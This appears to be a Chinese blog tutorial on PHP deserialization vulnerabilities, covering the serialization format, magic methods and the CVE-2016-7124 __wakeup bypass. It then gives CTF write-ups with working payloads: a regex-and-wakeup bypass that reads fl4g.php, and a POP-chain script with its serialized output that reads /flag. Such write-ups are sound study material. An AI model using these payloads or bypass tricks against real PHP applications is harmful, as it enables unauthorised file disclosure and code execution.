PHP反序列化

PHP反序列化

PHP对象序列化格式

O:类名长度:"类名":属性数量:{s:属性名长度:"属性名";属性值类型:值}

基础知识

反序列化漏洞

反序列化漏洞是指在将数据从序列化格式(如JSON、XML等)还原为对象的过程中,攻击者通过注入恶意数据,可能触发对象的恶意方法或利用框架漏洞,导致代码执行、数据泄露等安全风险。核心危害在于未经验证的反序列化输入可能被恶意利用。

序列化与反序列化

1.序列化

将对象object、字符串string、数组array、变量,转换成具有一定格式的字符串,使其能在文件储存或传输的过程中保持稳定的格式

在PHP中通过serialize()函数实现:

<?php
class Person {
    public $name = "Tom";
    private $age = 18;
    protected $sex = "male";
    public function hello() {
        echo "hello";
    }
}
$class = new Person();
$class_ser = serialize($class);
echo $class_ser;
?>

输出:

O:6:"Person":3:{s:4:"name";s:3:"Tom";s:11:"Personage";i:18;s:6:"*sex";s:4:"male";}

解析:

O:6:"Person":3:O代表object,如果是数组则为i。6代表对象名长度"Person"有六个字符。"Person"为对象名。3代表对象里成员属性数(变量数)

s:4:"name":s代表string字符串类型,长度为4,属性名"name"

i:18:i代表int整型,值为18

2.反序列化

就是序列化的逆过程,PHP中通过unseriaalize()函数实现

<?php
class Person {
    public $name = "Tom";
    private $age = 18;
    protected $sex = "male";
    public function hello() {
        echo "hello";
    }
}
$class = new Person();
$class_ser = serialize($class);		//序列化对象Person
//echo $class_ser;
$class_unser = unserialize($class_ser);		//反序列化
var_dump($class_unser);
?>

输出:

object(Person)#2 (3) { 
	["name"]=> string(3) "Tom" 
	["age":"Person":private]=> int(18) 
	["sex":protected]=> string(4) "male" 
 }
补充:
  • public,没有变化
  • private,会变成 %00对象名%00属性名
  • protected,会变成 %00*%00属性名

序列化格式基础

s:length:"string"     // 字符串
i:value;              // 整数
d:value;              // 浮点数
b:value;              // 布尔值 (0/1)
a:size:{...}          // 数组
O:length:"class":size:{...}  // 对象
N;                    // NULL
r:reference;          // 引用
R:reference;          // 对象引用

魔术方法

什么是魔术方法

一个预定义好的,在特定情况下自动触发的行为方法。

魔术方法的作用

反序列化漏洞的成因:

反序列化的过程中,unserialize()接收的值(字符串)可控;

通过更改这个值(字符串),得到所需要的代码

通过调用方法,触发代码执行。

魔术方法的作用就是在特定条件下自动调用相关方法,最终导致触发代码

常见魔术方法

__construct()            //类的构建函数,在创建一个类的时调用
__destruct()             //类的析构函数,对象销毁时调用
__call()                 //在对象中调用一个不可以访问方法时调用
__callStatic()           //用静态方式中调用一个不可以访问方法时调用
__get()                  //访问一个类不存在的或者私有的属性时会被调用
__isset()                //在不可访问的属性上调用isset()或empty()
__set()                  //设置一个类的成员变量时调用
__unset()                //当对不可访问属性调用unset()时被调用
__sleep()                //执行serialize()时,先会调用这个函数
__wakeup()               //执行unserialize()时,会先调用这个函数
__toString()             //类被当成字符串时的回应方法
__invoke()               //调用函数的方式调用一个对象时的回应方法
__set_state()            //调用var_export()导出类时,此静态方法被调用
__clone()                //当对象复制完成时调用
__autoload()             //尝试加载未定义的类
__debuginfo()            //打印所需调式信息
绕过__wakeup()

CVE-2016-7124:当对象属性数量大于实际数量时,__wakeup() 不会执行:

// 正常: O:4:"Test":2:{...}
// 绕过: O:4:"Test":3:{...}  (声明3个属性但实际只有2个)

例题wp

攻防世界 Web_php_unserialize

 <?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

//the secret is in the fl4g.php

代码中提示flag在fl4g.php中,需要构造payload将index.php替换为fl4g.php

private $file = 'index.php';

即需要传入file的值,注意file变量的修饰类型为private,在序列化后变量名会变为%00Demo%00file(其中%00为空字符)

所以payload:

O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

关注到题目代码中的三个魔法函数__construct()__destruct()__wakeup()

function __destruct() { 
        echo @highlight_file($this->file, true); 
    }

在页面中高亮显示$this->file,我们需要通过函数__construct()中的filefl4g.php来读取

function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 

但是__wakeup()函数在执行__unserialize()前自动执行,会将我们传入的file=fl4g.php强制赋值为index.php,所以需要绕过

绕过姿势

O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

然后看到输入部分

	$var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    }

'/[oc]:\d+:/i’含义是:匹配o或c任意一个,冒号,至少一个数字,冒号,不区分大小写

先将我们输入的var进行base64解码,再进行正则匹配,php低版本下可以通过在数字前添加+来绕过

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

最后再将payload进行base64编码,这里借鉴大佬的exp

ps:可能因为%00的原因,我直接将O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}进行base64编码后传入并不能得到答案

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$str = serialize(new Demo("fl4g.php"));
// 绕过正则
$str = str_replace('O:4', 'O:+4', $str);
// 绕过wakeup函数
$str = str_replace(':1:', ':2:', $str);
// 进行base64编码
print(base64_encode($str));
?>

最后传入?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

BUUCTF [NewStarCTF 公开赛赛道]UnserializeOne

 <?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

先定义各个类对应的变量

$start = new Start();
$sec = new Sec();
$easy = new Easy();
$eeee = new eeee();

找到flag的位置

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }

__invoke() //调用函数的方式调用一个对象时的回应方法

    public function __isset($var)
    {
        ($this->func)();
    }

这里有提示func即为函数,要将调用函数的位置改为对象,而这个对象就是需要被触发的Sec,所以构造:

$start->func = $sec;

__isset() //在不可访问的属性上调用isset()或empty()

找到调用了isset()的地方

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }

而此处的cmd就是不可访问的属性(未声明),__isset()执行到if语句会自动调用。要调用函数需把obj换成__isset()函数所在的对象Start(可以理解为c语言中的局部变量在被调用时需要在此前被定义),所以构造:

$eeee->obj = $start;

但是要执行if语句要调用到外面的__clone()

__clone() //当对象复制完成时调用

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }

这里的clone函数执行后会直接调用__clone(),然后因为要调用到eeee类里的__clone()函数,此处的var应为eeee。注意此处变量var来源于__call()函数

__call() //在对象中调用一个不可以访问方法时调用

不可访问方法即在调用中未被定义的函数。

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

此处check()并未被定义,可以被用来触发__call()。把Sec类中的obj改为easy,而Easy类中并没有定义check()可以调用,从而触发Easy类中的__call()函数。__call()的第二个函数var来源于Sec类里面的var,需要把此处var改为eeee,来满足上面___clone()函数的调用

构造payload:

$sec->obj = $easy;
$sec->var = $eeee;

接下来需要触发外面的__toString()函数

__toString() //类被当成字符串时的回应方法

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

补充:"字符串1"."字符串2" 其中的.用来连接两个字符串

所以只需将这里的name替换为一个类即可触发。构造payload:

$start->name = $sec;

最后触发__destruct()函数,调用反序列化时会自动调用该函数。

将此段代码添加在源代码后,更准确的进行序列化:

$start = new Start();
$sec = new Sec();
$easy = new Easy();
$eeee = new eeee();

$start->func = $sec;
$eeee->obj = $start;

$sec->var = $eeee;
$sec->obj = $easy;

$start->name = $sec;

$str = serialize($start);
echo $str;

(因为我这里运行报错说private无权访问,我把protected和private全换成public后解决问题了,注意我这样用的前提是我的语句不需要用到protected和private)

得到最终的序列化payload

O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}

用hackbar发送pop

附思路:

————————————————————————————
参考文章:

揭秘PHP反序列化:原理、利用链与防御,入门到精通教程!

好靶场-PHP反序列化入门练习-WP

php反序列化-CSDN博客

关于正则匹配preg_match(‘/^O:\d+/‘)的绕过的几种方法_正则匹配绕过-CSDN博客

攻防世界-web-Web_php_unserialize_攻防世界web php unser-CSDN博客

PHP反序列化研究

【Web方向】 3-1 PHP反序列化buuCTF实例UnserializeOne wp_buuctfunserialize?-CSDN博客

posted @ 2025-12-28 23:06  aax小能  阅读(4)  评论(0)    收藏  举报